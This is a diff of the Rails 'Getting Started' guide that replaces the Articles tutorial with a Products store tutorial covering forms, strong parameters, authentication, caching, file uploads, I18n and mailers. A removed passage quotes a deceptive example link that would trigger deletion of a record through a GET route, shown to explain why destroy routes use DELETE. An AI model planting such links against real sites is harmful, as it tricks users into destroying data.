-### Deleting Articles
+Let's create `app/views/products/new.html.erb` to render the form for this new
+`Product`.
 
-We're now ready to cover the "D" part of CRUD, deleting articles from the
-database. Following the REST convention, the route for
-deleting articles as per output of `bin/rails routes` is:
+```erb
+<%# app/views/products/new.html.erb %>
+<h1>New product</h1>
+
+<%= form_with model: @product do |form| %>
+  <div>
+    <%= form.label :name %>
+    <%= form.text_field :name %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
 
-```ruby
-DELETE /articles/:id(.:format)      articles#destroy
+<%= link_to "Cancel", products_path %>
 ```
 
-The `delete` routing method should be used for routes that destroy
-resources. If this was left as a typical `get` route, it could be possible for
-people to craft malicious URLs like this:
+In this view, we are using the Rails `form_with` helper to generate an HTML form
+to create products. This helper uses a *form builder* to handle things like CSRF
+tokens, generating the URL based upon the `model:` provided, and even tailoring
+the submit button text to the model.
 
-```html
-<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
-```
+If you open this page in your browser and View Source, the HTML for the form
+will look like this:
 
-We use the `delete` method for destroying resources, and this route is mapped
-to the `destroy` action inside `app/controllers/articles_controller.rb`, which
-doesn't exist yet. The `destroy` method is generally the last CRUD action in
-the controller, and like the other public CRUD actions, it must be placed
-before any `private` or `protected` methods. Let's add it:
+```html
+<form action="/products" accept-charset="UTF-8" method="post">
+  <input type="hidden" name="authenticity_token" value="UHQSKXCaFqy_aoK760zpSMUPy6TMnsLNgbPMABwN1zpW-Jx6k-2mISiF0ulZOINmfxPdg5xMyZqdxSW1UK-H-Q" autocomplete="off">
 
-```ruby
-def destroy
-  @article = Article.find(params[:id])
-  @article.destroy
+  <div>
+    <label for="product_name">Name</label>
+    <input type="text" name="product[name]" id="product_name">
+  </div>
 
-  redirect_to articles_path
-end
+  <div>
+    <input type="submit" name="commit" value="Create Product" data-disable-with="Create Product">
+  </div>
+</form>
 ```
 
-The complete `ArticlesController` in the
-`app/controllers/articles_controller.rb` file should now look like this:
+The form builder has included a CSRF token for security, configured the form for
+UTF-8 support, set the input field names and even added a disabled state for the
+submit button.
 
-```ruby
-class ArticlesController < ApplicationController
+Because we passed a new `Product` instance to the form builder, it automatically
+generated a form configured to send a `POST` request to `/products`, which is
+the default route for creating a new record.
+
+To handle this, we first need to implement the `create` action in our
+controller.
+
+```ruby#15-27
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
   def index
-    @articles = Article.all
+    @products = Product.all
   end
 
   def show
-    @article = Article.find(params[:id])
+    @product = Product.find(params[:id])
   end
 
   def new
-    @article = Article.new
-  end
-
-  def edit
-    @article = Article.find(params[:id])
+    @product = Product.new
   end
 
   def create
-    @article = Article.new(article_params)
-
-    if @article.save
-      redirect_to @article
+    @product = Product.new(product_params)
+    if @product.save
+      redirect_to @product
     else
-      render 'new'
+      render :new, status: :unprocessable_entity
     end
   end
 
-  def update
-    @article = Article.find(params[:id])
-
-    if @article.update(article_params)
-      redirect_to @article
-    else
-      render 'edit'
+  private
+    def product_params
+      params.expect(product: [ :name ])
+    end
+end
+```
+
+#### Strong Parameters
+
+The `create` action handles the data submitted by the form, but it needs to be
+filtered for security. That's where the `product_params` method comes into play.
+
+In `product_params`, we tell Rails to inspect the params and ensure there is a
+key named `:product` with an array of parameters as the value. The only
+permitted parameters for products is `:name` and Rails will ignore any other
+parameters. This protects our application from malicious users who might try to
+hack our application.
+
+#### Handling Errors
+
+After assigning these params to the new `Product`, we can try to save it to the
+database. `@product.save` tells Active Record to run validations and save the
+record to the database.
+
+If `save` is successful, we want to redirect to the new product. When
+`redirect_to` is given an Active Record object, Rails generates a path for that
+record's show action.
+
+```ruby
+redirect_to @product
+```
+
+Since `@product` is a `Product` instance, Rails pluralizes the model name and
+includes the object's ID in the path to produce `"/products/2"` for the
+redirect.
+
+When `save` is unsuccessful and the record wasn't valid, we want to re-render
+the form so the user can fix the invalid data. In the `else` clause, we tell
+Rails to `render :new`. Rails knows we're in the `Products` controller, so it
+should render `app/views/products/new.html.erb`. Since we've set the `@product`
+variable in `create`, we can render that template and the form will be populated
+with our `Product` data even though it wasn't able to be saved in the database.
+
+We also set the HTTP status to 422 Unprocessable Entity to tell the browser this
+POST request failed and to handle it accordingly.
+
+### Editing Products
+
+The process of editing records is very similar to creating records. Instead of
+`new` and `create` actions, we will have `edit` and `update`.
+
+Let's implement them in the controller with the following:
+
+```ruby#24-35
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  def index
+    @products = Product.all
+  end
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  def new
+    @product = Product.new
+  end
+
+  def create
+    @product = Product.new(product_params)
+    if @product.save
+      redirect_to @product
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  def edit
+    @product = Product.find(params[:id])
+  end
+
+  def update
+    @product = Product.find(params[:id])
+    if @product.update(product_params)
+      redirect_to @product
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def product_params
+      params.expect(product: [ :name ])
+    end
+end
+```
+
+#### Extracting Partials
+
+We've already written a form for creating new products. Wouldn't it be nice if
+we could reuse that for edit and update? We can, using a feature called
+"partials" that allows you to reuse a view in multiple places.
+
+We can move the form into a file called `app/views/products/_form.html.erb`. The
+filename starts with an underscore to denote this is a partial.
+
+We also want to replace any instance variables with a local variable, which we
+can define when we render the partial. We'll do this by replacing `@product`
+with `product`.
+
+Let's also display any errors from the form submission inside the form.
+
+```erb#2-5
+<%# app/views/products/_form.html.erb %>
+<%= form_with model: product do |form| %>
+  <% if form.object.errors.any? %>
+    <p class="error"><%= form.object.errors.full_messages.first %></p>
+  <% end %>
+
+  <div>
+    <%= form.label :name %>
+    <%= form.text_field :name %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
+```
+
+TIP: Using local variables allows partials to be reused multiple times on the
+same page with a different value each time. This comes in handy rendering lists
+of items like an index page.
+
+To use this partial in our `app/views/products/new.html.erb` view, we can
+replace the form with a render call:
+
+```erb#4
+<%# app/views/products/new.html.erb %>
+<h1>New product</h1>
+
+<%= render "form", product: @product %>
+<%= link_to "Cancel", products_path %>
+```
+
+The edit view becomes almost the exact same thing thanks to the form partial.
+Let's create `app/views/products/edit.html.erb` with the following:
+
+```erb#4
+<%# app/views/products/edit.html.erb %>
+<h1>Edit product</h1>
+
+<%= render "form", product: @product %>
+<%= link_to "Cancel", @product %>
+```
+
+To learn more about view partials, check out the
+[Action View Guide](action_view_overview.html).
+
+Now we can add an Edit link to `app/views/products/show.html.erb`:
+
+```erb#5
+<%# app/views/products/show.html.erb %>
+<h1><%= @product.name %></h1>
+
+<%= link_to "Back", products_path %>
+<%= link_to "Edit", edit_product_path(@product) %>
+```
+
+#### Before Actions
+
+Since `edit` and `update` require an existing database record like `show` we can
+deduplicate this into a `before_action`.
+
+A `before_action` allows you to extract shared code between actions and run it
+*before* the action. In the above controller code,
+`@product = Product.find(params[:id])` is defined in three different methods.
+Extracting this query to a before action called `set_product` cleans up our code
+for each action.
+
+This is a good example of the DRY (Don't Repeat Yourself) philosophy in action.
+
+```ruby#3,9-10,25-26,28-34,37-39
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  before_action :set_product, only: %i[ show edit update ]
+
+  def index
+    @products = Product.all
+  end
+
+  def show
+  end
+
+  def new
+    @product = Product.new
+  end
+
+  def create
+    @product = Product.new(product_params)
+    if @product.save
+      redirect_to @product
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  def edit
+  end
+
+  def update
+    if @product.update(product_params)
+      redirect_to @product
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  private
+    def set_product
+      @product = Product.find(params[:id])
+    end
+
+    def product_params
+      params.expect(product: [ :name ])
+    end
+end
+```
+
+### Deleting Products
+
+The last feature we need to implement is deleting products. We will add a
+`destroy` action to our `ProductsController` to handle `DELETE /products/:id`
+requests.
+
+Adding `destroy` to `before_action :set_product` lets us set the `@product`
+instance variable in the same way we do for the other actions.
+
+```ruby#3,36-39
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  before_action :set_product, only: %i[ show edit update destroy ]
+
+  def index
+    @products = Product.all
+  end
+
+  def show
+  end
+
+  def new
+    @product = Product.new
+  end
+
+  def create
+    @product = Product.new(product_params)
+    if @product.save
+      redirect_to @product
+    else
+      render :new, status: :unprocessable_entity
+    end
+  end
+
+  def edit
+  end
+
+  def update
+    if @product.update(product_params)
+      redirect_to @product
+    else
+      render :edit, status: :unprocessable_entity
+    end
+  end
+
+  def destroy
+    @product.destroy
+    redirect_to products_path
+  end
+
+  private
+    def set_product
+      @product = Product.find(params[:id])
+    end
+
+    def product_params
+      params.expect(product: [ :name ])
+    end
+end
+```
+
+To make this work, we need to add a Delete button to
+`app/views/products/show.html.erb`:
+
+```erb#6
+<%# app/views/products/show.html.erb %>
+<h1><%= @product.name %></h1>
+
+<%= link_to "Back", products_path %>
+<%= link_to "Edit", edit_product_path(@product) %>
+<%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+```
+
+`button_to` generates a form with a single button in it with the "Delete" text.
+When this button is clicked, it submits the form which makes a `DELETE` request
+to `/products/:id` which triggers the `destroy` action in our controller.
+
+The `turbo_confirm` data attribute tells the Turbo JavaScript library to ask the
+user to confirm before submitting the form. We'll dig more into that shortly.
+
+Adding Authentication
+---------------------
+
+Anyone can edit or delete products which isn't safe. Let's add some security by
+requiring a user to be authenticated to manage products.
+
+Rails comes with an authentication generator that we can use. It creates User
+and Session models and the controllers and views necessary to login to our
+application.
+
+Head back to your terminal and run the following command:
+
+```bash
+$ bin/rails generate authentication
+```
+
+Then migrate the database to add the User and Session tables.
+
+```bash
+$ bin/rails db:migrate
+```
+
+Open the Rails console to create a User.
+
+```bash
+$ bin/rails console
+```
+
+Use `User.create!` method to create a User in the Rails console. Feel free to
+use your own email and password instead of the example.
+
+```irb
+store(dev)> User.create! email_address: "you@example.org", password: "s3cr3t", password_confirmation: "s3cr3t"
+```
+
+Restart your Rails server so it picks up the `bcrypt` gem added by the
+generator. BCrypt is used for securely hashing passwords for authentication.
+
+```bash
+$ bin/rails server
+```
+
+When you visit any page, Rails will prompt for a username and password. Enter
+the email and password you used when creating the User record.
+
+Try it out by visiting http://localhost:3000/products/new
+
+If you enter the correct username and password, it will allow you through. Your
+browser will also store these credentials for future requests so you don't have
+to type it in every page view.
+
+
+### Adding Log Out
+
+To log out of the application, we can add a button to the top of
+`app/views/layouts/application.html.erb`. This layout is where you put HTML that
+you want to include in every page like a header or footer.
+
+Add a small `<nav>` section inside the `<body>` with a link to Home and a Log
+out button and wrap `yield` with a `<main>` tag.
+
+```erb#6-9,11,13
+<%# app/views/layouts/application.html.erb %>
+<!DOCTYPE html>
+<html>
+  <%# ... %>
+  <body>
+    <nav>
+      <%= link_to "Home", root_path %>
+      <%= button_to "Log out", session_path, method: :delete if authenticated? %>
+    </nav>
+
+    <main>
+      <%= yield %>
+    </main>
+  </body>
+</html>
+```
+
+This will display a Log out button only if the user is authenticated. When
+clicked, it will send a DELETE request to the session path which will log the
+user out.
+
+### Allowing Unauthenticated Access
+
+However, our store's product index and show pages should be accessible to
+everyone. By default, the Rails authentication generator will restrict all pages
+to authenticated users only.
+
+To allow guests to view products, we can allow unauthenticated access in our
+controller.
+
+```ruby#3
+# app/controllers/products_controller.rb
+class ProductsController < ApplicationController
+  allow_unauthenticated_access only: %i[ index show ]
+  # ...
+end
+```
+
+Log out and visit the products index and show pages to see they're accessible
+without being authenticated.
+
+### Showing Links for Authenticated Users Only
+
+Since only logged in users can create products, we can modify the
+`app/views/products/index.html.erb` view to only display the new product link if
+the user is authenticated.
+
+```erb
+<%# app/views/products/index.html.erb %>
+<%= link_to "New product", new_product_path if authenticated? %>
+```
+
+Click the Log out button and you'll see the New link is hidden. Log in at
+http://localhost:3000/session/new and you'll see the New link on the index page.
+
+Optionally, you can include a link to this route in the navbar to add a Login
+link if not authenticated.
+
+```erb#5
+<%# app/views/layouts/application.html.erb %>
+<nav>
+  <%= link_to "Home", root_path %>
+  <%= button_to "Log out", session_path, method: :delete if authenticated? %>
+  <%= link_to "Login", new_session_path unless authenticated? %>
+</nav>
+```
+
+You can also update the Edit and Delete links on the
+`app/views/products/show.html.erb` view to only display if authenticated.
+
+```erb#5,8
+<%# app/views/products/show.html.erb %>
+<h1><%= @product.name %></h1>
+
+<%= link_to "Back", products_path %>
+<% if authenticated? %>
+  <%= link_to "Edit", edit_product_path(@product) %>
+  <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+<% end %>
+```
+
+Caching Products
+----------------
+
+Sometimes caching specific parts of a page can improve performance. Rails
+simplifies this process with Solid Cache, a database-backed cache store that
+comes included by default.
+
+Using the `cache` method, we can store HTML in the cache. Let's cache the header
+in `app/views/products/show.html.erb`.
+
+```erb#2,4
+<%# app/views/products/show.html.erb %>
+<% cache @product do %>
+  <h1><%= @product.name %></h1>
+<% end %>
+```
+
+By passing `@product` into `cache`, Rails generates a unique cache key for the
+product. Active Record objects have a `cache_key` method that returns a String
+like `"products/1"`. The `cache` helper in the views combines this with the
+template digest to create a unique key for this HTML.
+
+To enable caching in development, run the following command in your terminal.
+
+```bash
+$ bin/rails dev:cache
+```
+
+When you visit a product's show action (like `/products/2`), you'll see the new
+caching lines in your Rails server logs:
+
+```bash
+Read fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (1.6ms)
+Write fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (4.0ms)
+```
+
+The first time we open this page, Rails will generate a cache key and ask the
+cache store if it exists. This is the `Read fragment` line.
+
+Since this is the first page view, the cache does not exist so the HTML is
+generated and written to the cache. We can see this as the `Write fragment` line
+in the logs.
+
+Refresh the page and you'll see the logs no longer contain the `Write fragment`.
+
+```bash
+Read fragment views/products/show:a5a585f985894cd27c8b3d49bb81de3a/products/1-20240918154439539125 (1.3ms)
+```
+
+The cache entry was written by the last request, so Rails finds the cache entry
+on the second request. Rails also changes the cache key when records are updated
+to ensure that it never renders stale cache data.
+
+Learn more in the [Caching with Rails](caching_with_rails.html) guide.
+
+Rich Text Fields with Action Text
+---------------------------------
+
+Many applications need rich text with embeds (i.e. multimedia elements) and
+Rails provides this functionality out of the box with Action Text.
+
+To use Action Text, you'll first run the installer:
+
+```bash
+$ bin/rails action_text:install
+$ bundle install
+$ bin/rails db:migrate
+```
+
+Restart your Rails server to make sure all the new features are loaded.
+
+Now, let's add a rich text description field to our product.
+
+First, add the following to the `Product` model:
+
+```ruby#3
+# app/models/product.rb
+class Product < ApplicationRecord
+  has_rich_text :description
+  validates :name, presence: true
+end
+```
+
+The form can now be updated to include a rich text field for editing the
+description in `app/views/products/_form.html.erb` before the submit button.
+
+```erb#5-8
+<%# app/views/products/_form.html.erb %>
+<%= form_with model: product do |form| %>
+  <%# ... %>
+
+  <div>
+    <%= form.label :description, style: "display: block" %>
+    <%= form.rich_textarea :description %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
+```
+
+Our controller also needs to permit this new parameter when the form is
+submitted, so we'll update the permitted params to include description in
+`app/controllers/products_controller.rb`
+
+```ruby#4
+# app/controllers/products_controller.rb
+    # Only allow a list of trusted parameters through.
+    def product_params
+      params.expect(product: [ :name, :description ])
     end
+```
+
+We also need to update the show view to display the description in
+`app/views/products/show.html.erb`:
+
+```erb#3
+<%# app/views/products/show.html.erb%>
+<% cache @product do %>
+  <h1><%= @product.name %></h1>
+  <%= @product.description %>
+<% end %>
+```
+
+The cache key generated by Rails also changes when the view is modified. This
+makes sure the cache stays in sync with the latest version of the view template.
+
+Create a new product and add a description with bold and italic text. You'll see
+that the show page displays the formatted text and editing the product retains
+this rich text in the text area.
+
+Check out the [Action Text Overview](action_text_overview.html) to learn more.
+
+File Uploads with Active Storage
+--------------------------------
+
+Action Text is built upon another feature of Rails called Active Storage that
+makes it easy to upload files.
+
+Try editing a product and dragging an image into the rich text editor, then
+update the record. You'll see that Rails uploads this image and renders it
+inside the rich text editor. Cool, right?!
+
+We can also use Active Storage directly. Let's add a featured image to the
+`Product` model.
+
+```ruby#3
+# app/models/product.rb
+class Product < ApplicationRecord
+  has_one_attached :featured_image
+  has_rich_text :description
+  validates :name, presence: true
+end
+```
+
+Then we can add a file upload field to our product form before the submit
+button:
+
+```erb#4-7
+<%# app/views/products/_form.html.erb %>
+<%= form_with model: product do |form| %>
+  <%# ... %>
+
+  <div>
+    <%= form.label :featured_image, style: "display: block" %>
+    <%= form.file_field :featured_image, accept: "image/*" %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
+```
+
+Add `:featured_image` as a permitted parameter in
+`app/controllers/products_controller.rb`
+
+```ruby#4
+# app/controllers/products_controller.rb
+    # Only allow a list of trusted parameters through.
+    def product_params
+      params.expect(product: [ :name, :description, :featured_image ])
+    end
+```
+
+Lastly, we want to display the featured image for our product in
+`app/views/products/show.html.erb`. Add the following to the top.
+
+```erb
+<%# app/views/products/show.html.erb %>
+<%= image_tag @product.featured_image if @product.featured_image.attached? %>
+```
+
+Try uploading an image for a product and you'll see the image displayed on the
+show page after saving.
+
+Check out the [Active Storage Overview](active_storage_overview.html) for more
+details.
+
+Internationalization (I18n)
+---------------------------
+
+Rails makes it easy to translate your app into other languages.
+
+The `translate` or `t` helper in our views looks up a translation by name and
+returns the text for the current locale.
+
+In `app/views/products/index.html.erb`, let's update the header tag to use a
+translation.
+
+```erb
+<%# app/views/products/index.html.erb %>
+<h1><%= t "hello" %></h1>
+```
+
+Refreshing the page, we see `Hello world` is the header text now. Where did that
+come from?
+
+Since the default language is in English, Rails looks in `config/locales/en.yml`
+(which was created during `rails new`) for a matching key under the locale.
+
+```yaml
+# config/locales/en.yml
+en:
+  hello: "Hello world"
+```
+
+Let's create a new locale file in our editor for Spanish and add a translation
+in `config/locales/es.yml`.
+
+```yaml
+# config/locales/es.yml
+es:
+  hello: "Hola mundo"
+```
+
+We need to tell Rails which locale to use. The simplest option is to look for a
+locale param in the URL. We can do this in
+`app/controllers/application_controller.rb` with the following:
+
+```ruby#5,7-10
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+  # ...
+
+  around_action :switch_locale
+
+  def switch_locale(&action)
+    locale = params[:locale] || I18n.default_locale
+    I18n.with_locale(locale, &action)
   end
+end
+```
+
+This will run every request and look for `locale` in the params or fallback to
+the default locale. It sets the locale for the request and resets it after it's
+finished.
+
+* Visit http://localhost:3000/products?locale=en, you will see the English
+  translation.
+* Visit http://localhost:3000/products?locale=es, you will see the Spanish
+  translation.
+* Visit http://localhost:3000/products without a locale param, it will fallback
+  to English.
+
+Let's update the index header to use a real translation instead of
+`"Hello world"`.
+
+```erb
+<%# app/views/products/index.html.erb %>
+<h1><%= t ".title" %></h1>
+```
+
+TIP: Notice the `.` before `title`? This tells Rails to use a relative locale
+lookup. Relative lookups include the controller and action automatically in the
+key so you don't have to type them every time. For `.title` with the English
+locale, it will look up `en.products.index.title`.
+
+In `config/locales/en.yml` we want to add the `title` key under `products` and
+`index` to match our controller, view, and translation name.
+
+```yaml
+# config/locales/en.yml
+en:
+  hello: "Hello world"
+  products:
+    index:
+      title: "Products"
+```
+
+In the Spanish locales file, we can do the same thing:
+
+```yaml
+# config/locales/es.yml
+es:
+  hello: "Hola mundo"
+  products:
+    index:
+      title: "Productos"
+```
+
+You'll now see "Products" when viewing the English locale and "Productos" when
+viewing the Spanish locale.
+
+Learn more about the [Rails Internationalization (I18n) API](i18n.html).
+
+Action Mailer and Email Notifications
+-----------------------------
+
+A common feature of e-commerce stores is an email subscription to get notified
+when a product is back in stock. Now that we've seen the basics of Rails, let's
+add this feature to our store.
+
+### Basic Inventory Tracking
+
+First, let's add an inventory count to the Product model so we can keep track of
+stock. We can generate this migration using the following command:
+
+```bash
+$ bin/rails generate migration AddInventoryCountToProducts inventory_count:integer
+```
+
+NOTE: Rails infers that `AddInventoryCountToProducts` targets the `products`
+table because the name matches the `add_<columns>_to_<table>` convention. That
+pattern lets the generator pre-fill `add_column :products, ...`, so you only
+need to supply the column details. Run `bin/rails generate migration --help` to
+see more naming conventions.
+
+This will generate a migration file. Open it and add a default value of `0` to
+ensure `inventory_count` is never `nil`:
+
+```ruby
+# db/migrate/<timestamp>_add_inventory_count_to_products.rb
+class AddInventoryCountToProducts < ActiveRecord::Migration[8.2]
+  def change
+    add_column :products, :inventory_count, :integer, default: 0
+  end
+end
+```
+
+Then let's run the migration.
+
+```bash
+$ bin/rails db:migrate
+```
+
+We'll need to add the inventory count to the product form in
+`app/views/products/_form.html.erb`.
+
+```erb#4-7
+<%# app/views/products/_form.html.erb %>
+<%= form_with model: product do |form| %>
+  <%# ... %>
+
+  <div>
+    <%= form.label :inventory_count, style: "display: block" %>
+    <%= form.number_field :inventory_count %>
+  </div>
+
+  <div>
+    <%= form.submit %>
+  </div>
+<% end %>
+```
+
+The controller also needs `:inventory_count` added to the permitted parameters.
+
+```ruby#3
+# app/controllers/products_controller.rb
+    def product_params
+      params.expect(product: [ :name, :description, :featured_image, :inventory_count ])
+    end
+```
+
+It would also be helpful to validate that our inventory count is never a
+negative number, so let's also add a validation for that in our model.
+
+```ruby#7
+# app/models/product.rb
+class Product < ApplicationRecord
+  has_one_attached :featured_image
+  has_rich_text :description
+
+  validates :name, presence: true
+  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
+end
+```
+
+With these changes, we can now update the inventory count of products in our
+store.
+
+### Adding Subscribers to Products
+
+In order to notify users that a product is back in stock, we need to keep track
+of these subscribers.
+
+Let's generate a model called Subscriber to store these email addresses and
+associate them with the respective product.
+
+NOTE: Here we are not specifying a type for `email` as rails automatically defaults to a `string` when a type is not given for migrations.
+
+```bash
+$ bin/rails generate model Subscriber product:belongs_to email
+```
+
+By including `product:belongs_to` above, we told Rails that subscribers and products have a one-to-many relationship, meaning a Subscriber "belongs to" a single Product instance.
+
+Next, open the generated migration (`db/migrate/<timestamp>_create_subscribers.rb`) like we did for Product.
+
+```ruby#5-6
+# db/migrate/<timestamp>_create_subscribers.rb
+class CreateSubscribers < ActiveRecord::Migration[8.2]
+  def change
+    create_table :subscribers do |t|
+      t.belongs_to :product, null: false, foreign_key: true
+      t.string :email
+
+      t.timestamps
+    end
+  end
+end
+```
+
+This looks quite similar to the migration for `Product`, the main new thing is `belongs_to` which adds a `product_id` foreign key column.
+
+Then run the new migration:
+
+```bash
+$ bin/rails db:migrate
+```
+
+A Product, however, can have many subscribers, so we then add
+`has_many :subscribers, dependent: :destroy` to our Product model to add the
+second part of this association between the two models. This tells Rails how to
+join queries between the two database tables.
 
-  def destroy
-    @article = Article.find(params[:id])
-    @article.destroy
+```ruby#2
+# app/models/product.rb
+class Product < ApplicationRecord
+  has_many :subscribers, dependent: :destroy
+  has_one_attached :featured_image
+  has_rich_text :description
+
+  validates :name, presence: true
+  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
+end
+```
 
-    redirect_to articles_path
+Now we need a controller to create these subscribers. Let's create that in
+`app/controllers/subscribers_controller.rb` with the following code:
+
+```ruby
+# app/controllers/subscribers_controller.rb
+class SubscribersController < ApplicationController
+  allow_unauthenticated_access
+  before_action :set_product
+
+  def create
+    @product.subscribers.where(subscriber_params).first_or_create
+    redirect_to @product, notice: "You are now subscribed."
   end
 
   private
-    def article_params
-      params.require(:article).permit(:title, :text)
+    def set_product
+      @product = Product.find(params[:product_id])
+    end
+
+    def subscriber_params
+      params.expect(subscriber: [ :email ])
     end
 end
 ```
 
-You can call `destroy` on Active Record objects when you want to delete
-them from the database. Note that we don't need to add a view for this
-action since we're redirecting to the `index` action.
-
-Finally, add a 'Destroy' link to your `index` action template
-(`app/views/articles/index.html.erb`) to wrap everything together.
-
-```html+erb
-<h1>Listing Articles</h1>
-<%= link_to 'New article', new_article_path %>
-<table>
-  <tr>
-    <th>Title</th>
-    <th>Text</th>
-    <th colspan="3"></th>
-  </tr>
-
-  <% @articles.each do |article| %>
-    <tr>
-      <td><%= article.title %></td>
-      <td><%= article.text %></td>
-      <td><%= link_to 'Show', article_path(article) %></td>
-      <td><%= link_to 'Edit', edit_article_path(article) %></td>
-      <td><%= link_to 'Destroy', article_path(article),
-              method: :delete,
-              data: { confirm: 'Are you sure?' } %></td>
-    </tr>
-  <% end %>
-</table>
+The `redirect_to` uses the `notice:` argument to set a "flash" message to tell
+the user they are subscribed.
+
+The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html)
+provides a way to pass temporary data between controller actions. Anything you
+place in the flash will be available to the very next action and then cleared.
+The flash is typically used for setting messages (e.g. notices and alerts) in a
+controller action before redirecting to an action that displays the message to
+the user.
+
+To display the flash message, let's add the flash to
+`app/views/layouts/application.html.erb` inside the body:
+
+```erb#5-6
+<%# app/views/layouts/application.html.erb %>
+<html>
+  <%# ... %>
+  <body>
+    <div class="notice"><%= flash[:notice] %></div>
+    <div class="alert"><%= flash[:alert] %></div>
+    <%# ... %>
+  </body>
+</html>
+```
+
+Learn more about the Flash in the [Action Controller Overview](action_controller_overview.html#the-flash)
+
+To subscribe users to a specific product, we'll use a nested route so we know
+which product the subscriber belongs to. In `config/routes.rb` change
+`resources :products` to the following:
+
+```ruby#4-6
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  resources :products do
+    resources :subscribers, only: [ :create ]
+  end
+end
 ```
 
-Here we're using `link_to` in a different way. We pass the named route as the
-second argument, and then the options as another argument. The `method: :delete`
-and `data: { confirm: 'Are you sure?' }` options are used as HTML5 attributes so
-that when the link is clicked, Rails will first show a confirm dialog to the
-user, and then submit the link with method `delete`.  This is done via the
-JavaScript file `jquery_ujs` which is automatically included in your
-application's layout (`app/views/layouts/application.html.erb`) when you
-generated the application. Without this file, the confirmation dialog box won't
-appear.
+On the product show page, we can check if there is inventory and display the
+amount in stock. Otherwise, we can display an out of stock message with the
+subscribe form to get notified when it is back in stock.
 
-![Confirm Dialog](images/getting_started/confirm_dialog.png)
+Create a new partial at `app/views/products/_inventory.html.erb` and add the
+following:
 
-TIP: Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on
-[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide.
+```erb
+<%# app/views/products/_inventory.html.erb %>
+<% if product.inventory_count.positive? %>
+  <p><%= product.inventory_count %> in stock</p>
+<% else %>
+  <p>Out of stock</p>
+  <p>Email me when available.</p>
+
+  <%= form_with model: [product, Subscriber.new] do |form| %>
+    <%= form.email_field :email, placeholder: "you@example.com", required: true %>
+    <%= form.submit "Submit" %>
+  <% end %>
+<% end %>
+```
 
-Congratulations, you can now create, show, list, update and destroy
-articles.
+Then update `app/views/products/show.html.erb` to render this partial after the
+`cache` block.
 
-TIP: In general, Rails encourages using resources objects instead of
-declaring routes manually. For more information about routing, see
-[Rails Routing from the Outside In](routing.html).
+```erb
+<%# app/views/products/show.html.erb %>
+<%= render "inventory", product: @product %>
+```
 
-Adding a Second Model
----------------------
+### In Stock Email Notifications
 
-It's time to add a second model to the application. The second model will handle
-comments on articles.
+Action Mailer is a feature of Rails that allows you to send emails. We'll use it
+to notify subscribers when a product is back in stock. Mailers are a lot like Controllers, but for email instead of web pages. While there's no request/response cycle, mailers work in a familiar way:
 
-### Generating a Model
+* loading models from the database
+* applying business logic
+* passing data into templated views that generate the email content
 
-We're going to see the same generator that we used before when creating
-the `Article` model. This time we'll create a `Comment` model to hold
-reference to an article. Run this command in your terminal:
+We can generate a mailer with the following command:
 
 ```bash
-$ bin/rails generate model Comment commenter:string body:text article:references
+$ bin/rails g mailer Product in_stock
 ```
 
-This command will generate four files:
-
-| File                                         | Purpose                                                                                                |
-| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
-| db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) |
-| app/models/comment.rb                        | The Comment model                                                                                      |
-| test/models/comment_test.rb                  | Testing harness for the comment model                                                                 |
-| test/fixtures/comments.yml                   | Sample comments for use in testing                                                                     |
+This generates a class at `app/mailers/product_mailer.rb` with an `in_stock`
+method.
 
-First, take a look at `app/models/comment.rb`:
+Update this method to mail to a subscriber's email address.
 
-```ruby
-class Comment < ApplicationRecord
-  belongs_to :article
+```ruby#7-10
+# app/mailers/product_mailer.rb
+class ProductMailer < ApplicationMailer
+  # Subject can be set in your I18n file at config/locales/en.yml
+  # with the following lookup:
+  #
+  #   en.product_mailer.in_stock.subject
+  #
+  def in_stock
+    @product = params[:product]
+    mail to: params[:subscriber].email
+  end
 end
 ```
 
-This is very similar to the `Article` model that you saw earlier. The difference
-is the line `belongs_to :article`, which sets up an Active Record _association_.
-You'll learn a little about associations in the next section of this guide.
+The mailer generator also generates two email templates in our views folder: one
+for HTML and one for Text. We can update those to include a message and link to
+the product.
 
-The (`:references`) keyword used in the bash command is a special data type for models.
-It creates a new column on your database table with the provided model name appended with an `_id`
-that can hold integer values. You can get a better understanding after analyzing the
-`db/schema.rb` file below.
+Change `app/views/product_mailer/in_stock.html.erb` to:
 
-In addition to the model, Rails has also made a migration to create the
-corresponding database table:
+```erb
+<%# app/views/product_mailer/in_stock.html.erb %>
+<h1>Good news!</h1>
 
-```ruby
-class CreateComments < ActiveRecord::Migration[5.0]
-  def change
-    create_table :comments do |t|
-      t.string :commenter
-      t.text :body
-      t.references :article, foreign_key: true
+<p><%= link_to @product.name, product_url(@product) %> is back in stock.</p>
+```
 
-      t.timestamps
-    end
-  end
-end
+And `app/views/product_mailer/in_stock.text.erb` to:
+
+```erb
+<%# app/views/product_mailer/in_stock.text.erb %>
+Good news!
+
+<%= @product.name %> is back in stock.
+<%= product_url(@product) %>
 ```
 
